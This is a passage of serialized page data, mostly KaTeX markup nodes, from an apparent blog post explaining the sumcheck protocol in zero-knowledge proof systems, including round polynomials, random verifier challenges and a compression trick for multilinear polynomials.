props":108110,"children":108111},{},[],{"type":23,"tag":504,"props":108113,"children":108115},{"className":108114},[3101],[108116],{"type":28,"value":3104},{"type":23,"tag":504,"props":108118,"children":108120},{"className":108119,"style":3108},[3069],[],{"type":23,"tag":504,"props":108122,"children":108124},{"className":108123},[2988],[108125,108130],{"type":23,"tag":504,"props":108126,"children":108128},{"className":108127},[2988,20569],[108129],{"type":28,"value":18257},{"type":23,"tag":504,"props":108131,"children":108133},{"className":108132},[3005],[108134],{"type":23,"tag":504,"props":108135,"children":108137},{"className":108136},[3010,20623],[108138,108167],{"type":23,"tag":504,"props":108139,"children":108141},{"className":108140},[3015],[108142,108162],{"type":23,"tag":504,"props":108143,"children":108145},{"className":108144,"style":91850},[3020],[108146],{"type":23,"tag":504,"props":108147,"children":108148},{"style":91854},[108149,108153],{"type":23,"tag":504,"props":108150,"children":108152},{"className":108151,"style":3030},[3029],[],{"type":23,"tag":504,"props":108154,"children":108156},{"className":108155},[3035,3036,3037,3038],[108157],{"type":23,"tag":504,"props":108158,"children":108160},{"className":108159},[2988,3038],[108161],{"type":28,"value":2100},{"type":23,"tag":504,"props":108163,"children":108165},{"className":108164},[20726],[108166],{"type":28,"value":20729},{"type":23,"tag":504,"props":108168,"children":108170},{"className":108169},[3015],[108171],{"type":23,"tag":504,"props":108172,"children":108174},{"className":108173,"style":91881},[3020],[108175],{"type":23,"tag":504,"props":108176,"children":108177},{},[],{"type":23,"tag":504,"props":108179,"children":108181},{"className":108180},[3101],[108182],{"type":28,"value":3104},{"type":23,"tag":504,"props":108184,"children":108186},{"className":108185,"style":3108},[3069],[],{"type":23,"tag":504,"props":108188,"children":108190},{"className":108189},[107888],[108191],{"type":28,"value":108192},"…",{"type":23,"tag":504,"props":108194,"children":108196},{"className":108195,"style":3108},[3069],[],{"type":23,"tag":504,"props":108198,"children":108200},{"className":108199},[3101],[108201],{"type":28,"value":3104},{"type":23,"tag":504,"props":108203,"children":108205},{"className":108204,"style":3108},[3069],[],{"type":23,"tag":504,"props":108207,"children":108209},{"className":108208},[2988],[108210,108215],{"type":23,"tag":504,"props":108211,"children":108213},{"className":108212},[2988,20569],[108214],{"type":28,"value":18257},{"type":23,"tag":504,"props":108216,"children":108218},{"className":108217},[3005],[108219],{"type":23,"tag":504,"props":108220,"children":108222},{"className":108221},[3010,20623],[108223,108253],{"type":23,"tag":504,"props":108224,"children":108226},{"className":108225},[3015],[108227,108248],{"type":23,"tag":504,"props":108228,"children":108231},{"className":108229,"style":108230},[3020],"height:0.1514em;",[108232],{"type":23,"tag":504,"props":108233,"children":108234},{"style":91854},[108235,108239],{"type":23,"tag":504,"props":108236,"children":108238},{"className":108237,"style":3030},[3029],[],{"type":23,"tag":504,"props":108240,"children":108242},{"className":108241},[3035,3036,3037,3038],[108243],{"type":23,"tag":504,"props":108244,"children":108246},{"className":108245},[2988,20569,3038],[108247],{"type":28,"value":55382},{"type":23,"tag":504,"props":108249,"children":108251},{"className":108250},[20726],[108252],{"type":28,"value":20729},{"type":23,"tag":504,"props":108254,"children":108256},{"className":108255},[3015],[108257],{"type":23,"tag":504,"props":108258,"children":108260},{"className":108259,"style":91881},[3020],[108261],{"type":23,"tag":504,"props":108262,"children":108263},{},[],{"type":23,"tag":504,"props":108265,"children":108267},{"className":108266},[20720],[108268],{"type":28,"value":2105},{"type":23,"tag":24,"props":108270,"children":108271},{},[108272,108274,108335],{"type":28,"value":108273},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":56,"props":108275,"children":108277},{"className":108276},[2960,2961],[108278],{"type":23,"tag":504,"props":108279,"children":108281},{"className":108280},[2966],[108282],{"type":23,"tag":504,"props":108283,"children":108285},{"className":108284,"ariaHidden":2972},[2971],[108286],{"type":23,"tag":504,"props":108287,"children":108289},{"className":108288},[2977],[108290,108294],{"type":23,"tag":504,"props":108291,"children":108293},{"className":108292,"style":107515},[2982],[],{"type":23,"tag":504,"props":108295,"children":108297},{"className":108296},[2988],[108298,108303],{"type":23,"tag":504,"props":108299,"children":108301},{"className":108300},[2988],[108302],{"type":28,"value":2100},{"type":23,"tag":504,"props":108304,"children":108306},{"className":108305},[3005],[108307],{"type":23,"tag":504,"props":108308,"children":108310},{"className":108309},[3010],[108311],{"type":23,"tag":504,"props":108312,"children":108314},{"className":108313},[3015],[108315],{"type":23,"tag":504,"props":108316,"children":108318},{"className":108317,"style":107515},[3020],[108319],{"type":23,"tag":504,"props":108320,"children":108321},{"style":3024},[108322,108326],{"type":23,"tag":504,"props":108323,"children":108325},{"className":108324,"style":3030},[3029],[],{"type":23,"tag":504,"props":108327,"children":108329},{"className":108328},[3035,3036,3037,3038],[108330],{"type":23,"tag":504,"props":108331,"children":108333},{"className":108332},[2988,20569,3038],[108334],{"type":28,"value":55382},{"type":28,"value":108336}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":108338,"children":108339},{},[108340,108342,108347],{"type":28,"value":108341},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":296,"props":108343,"children":108344},{},[108345],{"type":28,"value":108346},"only one",{"type":28,"value":320},{"type":23,"tag":24,"props":108349,"children":108350},{},[108351],{"type":23,"tag":126,"props":108352,"children":108355},{"alt":108353,"src":108354},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":108357,"children":108358},{},[108359,108361,108453,108455,108640,108642,108667,108669,108747,108749,108828],{"type":28,"value":108360},"In each round, the prover must send a polynomial ",{"type":23,"tag":56,"props":108362,"children":108364},{"className":108363},[2960,2961],[108365],{"type":23,"tag":504,"props":108366,"children":108368},{"className":108367},[2966],[108369],{"type":23,"tag":504,"props":108370,"children":108372},{"className":108371,"ariaHidden":2972},[2971],[108373],{"type":23,"tag":504,"props":108374,"children":108376},{"className":108375},[2977],[108377,108381,108438,108443,108448],{"type":23,"tag":504,"props":108378,"children":108380},{"className":108379,"style":3090},[2982],[],{"type":23,"tag":504,"props":108382,"children":108384},{"className":108383},[2988],[108385,108390],{"type":23,"tag":504,"props":108386,"children":108388},{"className":108387,"style":92284},[2988,20569],[108389],{"type":28,"value":108049},{"type":23,"tag":504,"props":108391,"children":108393},{"className":108392},[3005],[108394],{"type":23,"tag":504,"props":108395,"children":108397},{"className":108396},[3010,20623],[108398,108427],{"type":23,"tag":504,"props":108399,"children":108401},{"className":108400},[3015],[108402,108422],{"type":23,"tag":504,"props":108403,"children":108405},{"className":108404,"style":92327},[3020],[108406],{"type":23,"tag":504,"props":108407,"children":108408},{"style":92331},[108409,108413],{"type":23,"tag":504,"props":108410,"children":108412},{"className":108411,"style":3030},[3029],[],{"type":23,"tag":504,"props":108414,"children":108416},{"className":108415},[3035,3036,3037,3038],[108417],{"type":23,"tag":504,"props":108418,"children":108420},{"className":108419},[2988,20569,3038],[108421],{"type":28,"value":2716},{"type":23,"tag":504,"props":108423,"children":108425},{"className":108424},[20726],[108426],{"type":28,"value":20729},{"type":23,"tag":504,"props":108428,"children":108430},{"className":108429},[3015],[108431],{"type":23,"tag":504,"props":108432,"children":108434},{"className":108433,"style":91881},[3020],[108435],{"type":23,"tag":504,"props":108436,"children":108437},{},[],{"type":23,"tag":504,"props":108439,"children":108441},{"className":108440},[20698],[108442],{"type":28,"value":526},{"type":23,"tag":504,"props":108444,"children":108446},{"className":108445,"style":93818},[2988,20569],[108447],{"type":28,"value":5117},{"type":23,"tag":504,"props":108449,"children":108451},{"className":108450},[20720],[108452],{"type":28,"value":2105},{"type":28,"value":108454}," such that ",{"type":23,"tag":56,"props":108456,"children":108458},{"className":108457},[2960,2961],[108459],{"type":23,"tag":504,"props":108460,"children":108462},{"className":108461},[2966],[108463],{"type":23,"tag":504,"props":108464,"children":108466},{"className":108465,"ariaHidden":2972},[2971],[108467,108560],{"type":23,"tag":504,"props":108468,"children":108470},{"className":108469},[2977],[108471,108475,108532,108537,108542,108547,108551,108556],{"type":23,"tag":504,"props":108472,"children":108474},{"className":108473,"style":3090},[2982],[],{"type":23,"tag":504,"props":108476,"children":108478},{"className":108477},[2988],[108479,108484],{"type":23,"tag":504,"props":108480,"children":108482},{"className":108481,"style":92284},[2988,20569],[108483],{"type":28,"value":108049},{"type":23,"tag":504,"props":108485,"children":108487},{"className":108486},[3005],[108488],{"type":23,"tag":504,"props":108489,"children":108491},{"className":108490},[3010,20623],[108492,108521],{"type":23,"tag":504,"props":108493,"children":108495},{"className":108494},[3015],[108496,108516],{"type":23,"tag":504,"props":108497,"children":108499},{"className":108498,"style":92327},[3020],[108500],{"type":23,"tag":504,"props":108501,"children":108502},{"style":92331},[108503,108507],{"type":23,"tag":504,"props":108504,"children":108506},{"className":108505,"style":3030},[3029],[],{"type":23,"tag":504,"props":108508,"children":108510},{"className":108509},[3035,3036,3037,3038],[108511],{"type":23,"tag":504,"props":108512,"children":108514},{"className":108513},[2988,20569,3038],[108515],{"type":28,"value":2716},{"type":23,"tag":504,"props":108517,"children":108519},{"className":108518},[20726],[108520],{"type":28,"value":20729},{"type":23,"tag":504,"props":108522,"children":108524},{"className":108523},[3015],[108525],{"type":23,"tag":504,"props":108526,"children":108528},{"className":108527,"style":91881},[3020],[108529],{"type":23,"tag":504,"props":108530,"children":108531},{},[],{"type":23,"tag":504,"props":108533,"children":108535},{"className":108534},[20698],[108536],{"type":28,"value":526},{"type":23,"tag":504,"props":108538,"children":108540},{"className":108539},[2988],[108541],{"type":28,"value":3001},{"type":23,"tag":504,"props":108543,"children":108545},{"className":108544},[20720],[108546],{"type":28,"value":2105},{"type":23,"tag":504,"props":108548,"children":108550},{"className":108549,"style":3070},[3069],[],{"type":23,"tag":504,"props":108552,"children":108554},{"className":108553},[3075],[108555],{"type":28,"value":1642},{"type":23,"tag":504,"props":108557,"children":108559},{"className":108558,"style":3070},[3069],[],{"type":23,"tag":504,"props":108561,"children":108563},{"className":108562},[2977],[108564,108568,108625,108630,108635],{"type":23,"tag":504,"props":108565,"children":108567},{"className":108566,"style":3090},[2982],[],{"type":23,"tag":504,"props":108569,"children":108571},{"className":108570},[2988],[108572,108577],{"type":23,"tag":504,"props":108573,"children":108575},{"className":108574,"style":92284},[2988,20569],[108576],{"type":28,"value":108049},{"type":23,"tag":504,"props":108578,"children":108580},{"className":108579},[3005],[108581],{"type":23,"tag":504,"props":108582,"children":108584},{"className":108583},[3010,20623],[108585,108614],{"type":23,"tag":504,"props":108586,"children":108588},{"className":108587},[3015],[108589,108609],{"type":23,"tag":504,"props":108590,"children":108592},{"className":108591,"style":92327},[3020],[108593],{"type":23,"tag":504,"props":108594,"children":108595},{"style":92331},[108596,108600],{"type":23,"tag":504,"props":108597,"children":108599},{"className":108598,"style":3030},[3029],[],{"type":23,"tag":504,"props":108601,"children":108603},{"className":108602},[3035,3036,3037,3038],[108604],{"type":23,"tag":504,"props":108605,"children":108607},{"className":108606},[2988,20569,3038],[108608],{"type":28,"value":2716},{"type":23,"tag":504,"props":108610,"children":108612},{"className":108611},[20726],[108613],{"type":28,"value":20729},{"type":23,"tag":504,"props":108615,"children":108617},{"className":108616},[3015],[108618],{"type":23,"tag":504,"props":108619,"children":108621},{"className":108620,"style":91881},[3020],[108622],{"type":23,"tag":504,"props":108623,"children":108624},{},[],{"type":23,"tag":504,"props":108626,"children":108628},{"className":108627},[20698],[108629],{"type":28,"value":526},{"type":23,"tag":504,"props":108631,"children":108633},{"className":108632},[2988],[108634],{"type":28,"value":2991},{"type":23,"tag":504,"props":108636,"children":108638},{"className":108637},[20720],[108639],{"type":28,"value":2105},{"type":28,"value":108641}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":56,"props":108643,"children":108645},{"className":108644},[2960,2961],[108646],{"type":23,"tag":504,"props":108647,"children":108649},{"className":108648},[2966],[108650],{"type":23,"tag":504,"props":108651,"children":108653},{"className":108652,"ariaHidden":2972},[2971],[108654],{"type":23,"tag":504,"props":108655,"children":108657},{"className":108656},[2977],[108658,108662],{"type":23,"tag":504,"props":108659,"children":108661},{"className":108660,"style":20564},[2982],[],{"type":23,"tag":504,"props":108663,"children":108665},{"className":108664,"style":92032},[2988,20569],[108666],{"type":28,"value":92035},{"type":28,"value":108668},", then they must lie about ",{"type":23,"tag":56,"props":108670,"children":108672},{"className":108671},[2960,2961],[108673],{"type":23,"tag":504,"props":108674,"children":108676},{"className":108675},[2966],[108677],{"type":23,"tag":504,"props":108678,"children":108680},{"className":108679,"ariaHidden":2972},[2971],[108681],{"type":23,"tag":504,"props":108682,"children":108684},{"className":108683},[2977],[108685,108690],{"type":23,"tag":504,"props":108686,"children":108689},{"className":108687,"style":108688},[2982],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":108691,"children":108693},{"className":108692},[2988],[108694,108699],{"type":23,"tag":504,"props":108695,"children":108697},{"className":108696,"style":92284},[2988,20569],[108698],{"type":28,"value":108049},{"type":23,"tag":504,"props":108700,"children":108702},{"className":108701},[3005],[108703],{"type":23,"tag":504,"props":108704,"children":108706},{"className":108705},[3010,20623],[108707,108736],{"type":23,"tag":504,"props":108708,"children":108710},{"className":108709},[3015],[108711,108731],{"type":23,"tag":504,"props":108712,"children":108714},{"className":108713,"style":92327},[3020],[108715],{"type":23,"tag":504,"props":108716,"children":108717},{"style":92331},[108718,108722],{"type":23,"tag":504,"props":108719,"children":108721},{"className":108720,"style":3030},[3029],[],{"type":23,"tag":504,"props":108723,"children":108725},{"className":108724},[3035,3036,3037,3038],[108726],{"type":23,"tag":504,"props":108727,"children":108729},{"className":108728},[2988,20569,3038],[108730],{"type":28,"value":2716},{"type":23,"tag":504,"props":108732,"children":108734},{"className":108733},[20726],[108735],{"type":28,"value":20729},{"type":23,"tag":504,"props":108737,"children":108739},{"className":108738},[3015],[108740],{"type":23,"tag":504,"props":108741,"children":108743},{"className":108742,"style":91881},[3020],[108744],{"type":23,"tag":504,"props":108745,"children":108746},{},[],{"type":28,"value":108748}," somewhere. But since the verifier picks a random ",{"type":23,"tag":56,"props":108750,"children":108752},{"className":108751},[2960,2961],[108753],{"type":23,"tag":504,"props":108754,"children":108756},{"className":108755},[2966],[108757],{"type":23,"tag":504,"props":108758,"children":108760},{"className":108759,"ariaHidden":2972},[2971],[108761],{"type":23,"tag":504,"props":108762,"children":108764},{"className":108763},[2977],[108765,108770],{"type":23,"tag":504,"props":108766,"children":108769},{"className":108767,"style":108768},[2982],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":108771,"children":108773},{"className":108772},[2988],[108774,108779],{"type":23,"tag":504,"props":108775,"children":108777},{"className":108776,"style":91798},[2988,20569],[108778],{"type":28,"value":92617},{"type":23,"tag":504,"props":108780,"children":108782},{"className":108781},[3005],[108783],{"type":23,"tag":504,"props":108784,"children":108786},{"className":108785},[3010,20623],[108787,108817],{"type":23,"tag":504,"props":108788,"children":108790},{"className":108789},[3015],[108791,108812],{"type":23,"tag":504,"props":108792,"children":108794},{"className":108793,"style":92327},[3020],[108795],{"type":23,"tag":504,"props":108796,"children":108798},{"style":108797},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[108799,108803],{"type":23,"tag":504,"props":108800,"children":108802},{"className":108801,"style":3030},[3029],[],{"type":23,"tag":504,"props":108804,"children":108806},{"className":108805},[3035,3036,3037,3038],[108807],{"type":23,"tag":504,"props":108808,"children":108810},{"className":108809},[2988,20569,3038],[108811],{"type":28,"value":2716},{"type":23,"tag":504,"props":108813,"children":108815},{"className":108814},[20726],[108816],{"type":28,"value":20729},{"type":23,"tag":504,"props":108818,"children":108820},{"className":108819},[3015],[108821],{"type":23,"tag":504,"props":108822,"children":108824},{"className":108823,"style":91881},[3020],[108825],{"type":23,"tag":504,"props":108826,"children":108827},{},[],{"type":28,"value":108829},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":17874,"props":108831,"children":108833},{"id":108832},"the-compression-trick",[108834],{"type":28,"value":108835},"The Compression Trick",{"type":23,"tag":24,"props":108837,"children":108838},{},[108839,108841,108991,108993,109273],{"type":28,"value":108840},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":56,"props":108842,"children":108844},{"className":108843},[2960,2961],[108845],{"type":23,"tag":504,"props":108846,"children":108848},{"className":108847},[2966],[108849],{"type":23,"tag":504,"props":108850,"children":108852},{"className":108851,"ariaHidden":2972},[2971],[108853,108946,108973],{"type":23,"tag":504,"props":108854,"children":108856},{"className":108855},[2977],[108857,108861,108918,108923,108928,108933,108937,108942],{"type":23,"tag":504,"props":108858,"children":108860},{"className":108859,"style":3090},[2982],[],{"type":23,"tag":504,"props":108862,"children":108864},{"className":108863},[2988],[108865,108870],{"type":23,"tag":504,"props":108866,"children":108868},{"className":108867,"style":92284},[2988,20569],[108869],{"type":28,"value":108049},{"type":23,"tag":504,"props":108871,"children":108873},{"className":108872},[3005],[108874],{"type":23,"tag":504,"props":108875,"children":108877},{"className":108876},[3010,20623],[108878,108907],{"type":23,"tag":504,"props":108879,"children":108881},{"className":108880},[3015],[108882,108902],{"type":23,"tag":504,"props":108883,"children":108885},{"className":108884,"style":92327},[3020],[108886],{"type":23,"tag":504,"props":108887,"children":108888},{"style":92331},[108889,108893],{"type":23,"tag":504,"props":108890,"children":108892},{"className":108891,"style":3030},[3029],[],{"type":23,"tag":504,"props":108894,"children":108896},{"className":108895},[3035,3036,3037,3038],[108897],{"type":23,"tag":504,"props":108898,"children":108900},{"className":108899},[2988,20569,3038],[108901],{"type":28,"value":2716},{"type":23,"tag":504,"props":108903,"children":108905},{"className":108904},[20726],[108906],{"type":28,"value":20729},{"type":23,"tag":504,"props":108908,"children":108910},{"className":108909},[3015],[108911],{"type":23,"tag":504,"props":108912,"children":108914},{"className":108913,"style":91881},[3020],[108915],{"type":23,"tag":504,"props":108916,"children":108917},{},[],{"type":23,"tag":504,"props":108919,"children":108921},{"className":108920},[20698],[108922],{"type":28,"value":526},{"type":23,"tag":504,"props":108924,"children":108926},{"className":108925,"style":93818},[2988,20569],[108927],{"type":28,"value":5117},{"type":23,"tag":504,"props":108929,"children":108931},{"className":108930},[20720],[108932],{"type":28,"value":2105},{"type":23,"tag":504,"props":108934,"children":108936},{"className":108935,"style":3167},[3069],[],{"type":23,"tag":504,"props":108938,"children":108940},{"className":108939},[3172],[108941],{"type":28,"value":601},{"type":23,"tag":504,"props":108943,"children":108945},{"className":108944,"style":3167},[3069],[],{"type":23,"tag":504,"props":108947,"children":108949},{"className":108948},[2977],[108950,108955,108960,108964,108969],{"type":23,"tag":504,"props":108951,"children":108954},{"className":108952,"style":108953},[2982],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":108956,"children":108958},{"className":108957},[2988,20569],[108959],{"type":28,"value":92},{"type":23,"tag":504,"props":108961,"children":108963},{"className":108962,"style":3070},[3069],[],{"type":23,"tag":504,"props":108965,"children":108967},{"className":108966},[3075],[108968],{"type":28,"value":1642},{"type":23,"tag":504,"props":108970,"children":108972},{"className":108971,"style":3070},[3069],[],{"type":23,"tag":504,"props":108974,"children":108976},{"className":108975},[2977],[108977,108981,108986],{"type":23,"tag":504,"props":108978,"children":108980},{"className":108979,"style":91713},[2982],[],{"type":23,"tag":504,"props":108982,"children":108984},{"className":108983},[2988,20569],[108985],{"type":28,"value":2200},{"type":23,"tag":504,"props":108987,"children":108989},{"className":108988,"style":93818},[2988,20569],[108990],{"type":28,"value":5117},{"type":28,"value":108992}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":56,"props":108994,"children":108996},{"className":108995},[2960,2961],[108997],{"type":23,"tag":504,"props":108998,"children":109000},{"className":108999},[2966],[109001],{"type":23,"tag":504,"props":109002,"children":109004},{"className":109003,"ariaHidden":2972},[2971],[109005,109098,109191],{"type":23,"tag":504,"props":109006,"children":109008},{"className":109007},[2977],[109009,109013,109070,109075,109080,109085,109089,109094],{"type":23,"tag":504,"props":109010,"children":109012},{"className":109011,"style":3090},[2982],[],{"type":23,"tag":504,"props":109014,"children":109016},{"className":109015},[2988],[109017,109022],{"type":23,"tag":504,"props":109018,"children":109020},{"className":109019,"style":92284},[2988,20569],[109021],{"type":28,"value":108049},{"type":23,"tag":504,"props":109023,"children":109025},{"className":109024},[3005],[109026],{"type":23,"tag":504,"props":109027,"children":109029},{"className":109028},[3010,20623],[109030,109059],{"type":23,"tag":504,"props":109031,"children":109033},{"className":109032},[3015],[109034,109054],{"type":23,"tag":504,"props":109035,"children":109037},{"className":109036,"style":92327},[3020],[109038],{"type":23,"tag":504,"props":109039,"children":109040},{"style":92331},[109041,109045],{"type":23,"tag":504,"props":109042,"children":109044},{"className":109043,"style":3030},[3029],[],{"type":23,"tag":504,"props":109046,"children":109048},{"className":109047},[3035,3036,3037,3038],[109049],{"type":23,"tag":504,"props":109050,"children":109052},{"className":109051},[2988,20569,3038],[109053],{"type":28,"value":2716},{"type":23,"tag":504,"props":109055,"children":109057},{"className":109056},[20726],[109058],{"type":28,"value":20729},{"type":23,"tag":504,"props":109060,"children":109062},{"className":109061},[3015],[109063],{"type":23,"tag":504,"props":109064,"children":109066},{"className":109065,"style":91881},[3020],[109067],{"type":23,"tag":504,"props":109068,"children":109069},{},[],{"type":23,"tag":504,"props":109071,"children":109073},{"className":109072},[20698],[109074],{"type":28,"value":526},{"type":23,"tag":504,"props":109076,"children":109078},{"className":109077},[2988],[109079],{"type":28,"value":3001},{"type":23,"tag":504,"props":109081,"children":109083},{"className":109082},[20720],[109084],{"type":28,"value":2105},{"type":23,"tag":504,"props":109086,"children":109088},{"className":109087,"style":3070},[3069],[],{"type":23,"tag":504,"props":109090,"children":109092},{"className":109091},[3075],[109093],{"type":28,"value":1642},{"type":23,"tag":504,"props":109095,"children":109097},{"className":109096,"style":3070},[3069],[],{"type":23,"tag":504,"props":109099,"children":109101},{"className":109100},[2977],[109102,109106,109163,109168,109173,109178,109182,109187],{"type":23,"tag":504,"props":109103,"children":109105},{"className":109104,"style":3090},[2982],[],{"type":23,"tag":504,"props":109107,"children":109109},{"className":109108},[2988],[109110,109115],{"type":23,"tag":504,"props":109111,"children":109113},{"className":109112,"style":92284},[2988,20569],[109114],{"type":28,"value":108049},{"type":23,"tag":504,"props":109116,"children":109118},{"className":109117},[3005],[109119],{"type":23,"tag":504,"props":109120,"children":109122},{"className":109121},[3010,20623],[109123,109152],{"type":23,"tag":504,"props":109124,"children":109126},{"className":109125},[3015],[109127,109147],{"type":23,"tag":504,"props":109128,"children":109130},{"className":109129,"style":92327},[3020],[109131],{"type":23,"tag":504,"props":109132,"children":109133},{"style":92331},[109134,109138],{"type":23,"tag":504,"props":109135,"children":109137},{"className":109136,"style":3030},[3029],[],{"type":23,"tag":504,"props":109139,"children":109141},{"className":109140},[3035,3036,3037,3038],[109142],{"type":23,"tag":504,"props":109143,"children":109145},{"className":109144},[2988,20569,3038],[109146],{"type":28,"value":2716},{"type":23,"tag":504,"props":109148,"children":109150},{"className":109149},[20726],[109151],{"type":28,"value":20729},{"type":23,"tag":504,"props":109153,"children":109155},{"className":109154},[3015],[109156],{"type":23,"tag":504,"props":109157,"children":109159},{"className":109158,"style":91881},[3020],[109160],{"type":23,"tag":504,"props":109161,"children":109162},{},[],{"type":23,"tag":504,"props":109164,"children":109166},{"className":109165},[20698],[109167],{"type":28,"value":526},{"type":23,"tag":504,"props":109169,"children":109171},{"className":109170},[2988],[109172],{"type":28,"value":2991},{"type":23,"tag":504,"props":109174,"children":109176},{"className":109175},[20720],[109177],{"type":28,"value":2105},{"type":23,"tag":504,"props":109179,"children":109181},{"className":109180,"style":3167},[3069],[],{"type":23,"tag":504,"props":109183,"children":109185},{"className":109184},[3172],[109186],{"type":28,"value":601},{"type":23,"tag":504,"props":109188,"children":109190},{"className":109189,"style":3167},[3069],[],{"type":23,"tag":504,"props":109192,"children":109194},{"className":109193},[2977],[109195,109200],{"type":23,"tag":504,"props":109196,"children":109199},{"className":109197,"style":109198},[2982],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":504,"props":109201,"children":109203},{"className":109202},[2988],[109204,109209],{"type":23,"tag":504,"props":109205,"children":109207},{"className":109206,"style":92032},[2988,20569],[109208],{"type":28,"value":92035},{"type":23,"tag":504,"props":109210,"children":109212},{"className":109211},[3005],[109213],{"type":23,"tag":504,"props":109214,"children":109216},{"className":109215},[3010,20623],[109217,109261],{"type":23,"tag":504,"props":109218,"children":109220},{"className":109219},[3015],[109221,109256],{"type":23,"tag":504,"props":109222,"children":109224},{"className":109223,"style":92327},[3020],[109225],{"type":23,"tag":504,"props":109226,"children":109228},{"style":109227},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[109229,109233],{"type":23,"tag":504,"props":109230,"children":109232},{"className":109231,"style":3030},[3029],[],{"type":23,"tag":504,"props":109234,"children":109236},{"className":109235},[3035,3036,3037,3038],[109237],{"type":23,"tag":504,"props":109238,"children":109240},{"className":109239},[2988,3038],[109241,109246,109251],{"type":23,"tag":504,"props":109242,"children":109244},{"className":109243},[2988,20569,3038],[109245],{"type":28,"value":2716},{"type":23,"tag":504,"props":109247,"children":109249},{"className":109248},[3075,3038],[109250],{"type":28,"value":3049},{"type":23,"tag":504,"props":109252,"children":109254},{"className":109253},[2988,3038],[109255],{"type":28,"value":2991},{"type":23,"tag":504,"props":109257,"children":109259},{"className":109258},[20726],[109260],{"type":28,"value":20729},{"type":23,"tag":504,"props":109262,"children":109264},{"className":109263},[3015],[109265],{"type":23,"tag":504,"props":109266,"children":109269},{"className":109267,"style":109268},[3020],"height:0.2083em;",[109270],{"type":23,"tag":504,"props":109271,"children":109272},{},[],{"type":28,"value":109274}," (the previous claim), we have:",{"type":23,"tag":24,"props":109276,"children":109277},{},[109278],{"type":23,"tag":56,"props":109279,"children":109281},{"className":109280},[2960,2961],[109282],{"type":23,"tag":504,"props":109283,"children":109285},{"className":109284},[2966],[109286],{"type":23,"tag":504,"props":109287,"children":109289},{"className":109288,"ariaHidden":2972},[2971],[109290,109316,109347,109378,109479,109505,109597],{"type":23,"tag":504,"props":109291,"children":109293},{"className":109292},[2977],[109294,109298,109303,109307,109312],{"type":23,"tag":504,"props":109295,"children":109297},{"className":109296,"style":108953},[2982],[],{"type":23,"tag":504,"props":109299,"children":109301},{"className":109300},[2988,20569],[109302],{"type":28,"value":92},{"type":23,"tag":504,"props":109304,"children":109306},{"className":109305,"style":3070},[3069],[],{"type":23,"tag":504,"props":109308,"children":109310},{"className":109309},[3075],[109311],{"type":28,"value":1642},{"type":23,"tag":504,"props":109313,"children":109315},{"className":109314,"style":3070},[3069],[],{"type":23,"tag":504,"props":109317,"children":109319},{"className":109318},[2977],[109320,109324,109329,109334,109338,109343],{"type":23,"tag":504,"props":109321,"children":109323},{"className":109322,"style":3090},[2982],[],{"type":23,"tag":504,"props":109325,"children":109327},{"className":109326},[20698],[109328],{"type":28,"value":526},{"type":23,"tag":504,"props":109330,"children":109332},{"className":109331},[2988,20569],[109333],{"type":28,"value":92},{"type":23,"tag":504,"props":109335,"children":109337},{"className":109336,"style":3070},[3069],[],{"type":23,"tag":504,"props":109339,"children":109341},{"className":109340},[3075],[109342],{"type":28,"value":1642},{"type":23,"tag":504,"props":109344,"children":109346},{"className":109345,"style":3070},[3069],[],{"type":23,"tag":504,"props":109348,"children":109350},{"className":109349},[2977],[109351,109355,109360,109365,109369,109374],{"type":23,"tag":504,"props":109352,"children":109354},{"className":109353,"style":3090},[2982],[],{"type":23,"tag":504,"props":109356,"children":109358},{"className":109357},[2988,20569],[109359],{"type":28,"value":2200},{"type":23,"tag":504,"props":109361,"children":109363},{"className":109362},[20720],[109364],{"type":28,"value":2105},{"type":23,"tag":504,"props":109366,"children":109368},{"className":109367,"style":3167},[3069],[],{"type":23,"tag":504,"props":109370,"children":109372},{"className":109371},[3172],[109373],{"type":28,"value":601},{"type":23,"tag":504,"props":109375,"children":109377},{"className":109376,"style":3167},[3069],[],{"type":23,"tag":504,"props":109379,"children":109381},{"className":109380},[2977],[109382,109386,109457,109461,109465,109471,109475],{"type":23,"tag":504,"props":109383,"children":109385},{"className":109384,"style":109198},[2982],[],{"type":23,"tag":504,"props":109387,"children":109389},{"className":109388},[2988],[109390,109395],{"type":23,"tag":504,"props":109391,"children":109393},{"className":109392,"style":92032},[2988,20569],[109394],{"type":28,"value":92035},{"type":23,"tag":504,"props":109396,"children":109398},{"className":109397},[3005],[109399],{"type":23,"tag":504,"props":109400,"children":109402},{"className":109401},[3010,20623],[109403,109446],{"type":23,"tag":504,"props":109404,"children":109406},{"className":109405},[3015],[109407,109441],{"type":23,"tag":504,"props":109408,"children":109410},{"className":109409,"style":92327},[3020],[109411],{"type":23,"tag":504,"props":109412,"children":109413},{"style":109227},[109414,109418],{"type":23,"tag":504,"props":109415,"children":109417},{"className":109416,"style":3030},[3029],[],{"type":23,"tag":504,"props":109419,"children":109421},{"className":109420},[3035,3036,3037,3038],[109422],{"type":23,"tag":504,"props":109423,"children":109425},{"className":109424},[2988,3038],[109426,109431,109436],{"type":23,"tag":504,"props":109427,"children":109429},{"className":109428},[2988,20569,3038],[109430],{"type":28,"value":2716},{"type":23,"tag":504,"props":109432,"children":109434},{"className":109433},[3075,3038],[109435],{"type":28,"value":3049},{"type":23,"tag":504,"props":109437,"children":109439},{"className":109438},[2988,3038],[109440],{"type":28,"value":2991},{"type":23,"tag":504,"props":109442,"children":109444},{"className":109443},[20726],[109445],{"type":28,"value":20729},{"type":23,"tag":504,"props":109447,"children":109449},{"className":109448},[3015],[109450],{"type":23,"tag":504,"props":109451,"children":109453},{"className":109452,"style":109268},[3020],[109454],{"type":23,"tag":504,"props":109455,"children":109456},{},[],{"type":23,"tag":504,"props":109458,"children":109460},{"className":109459,"style":3167},[3069],[],{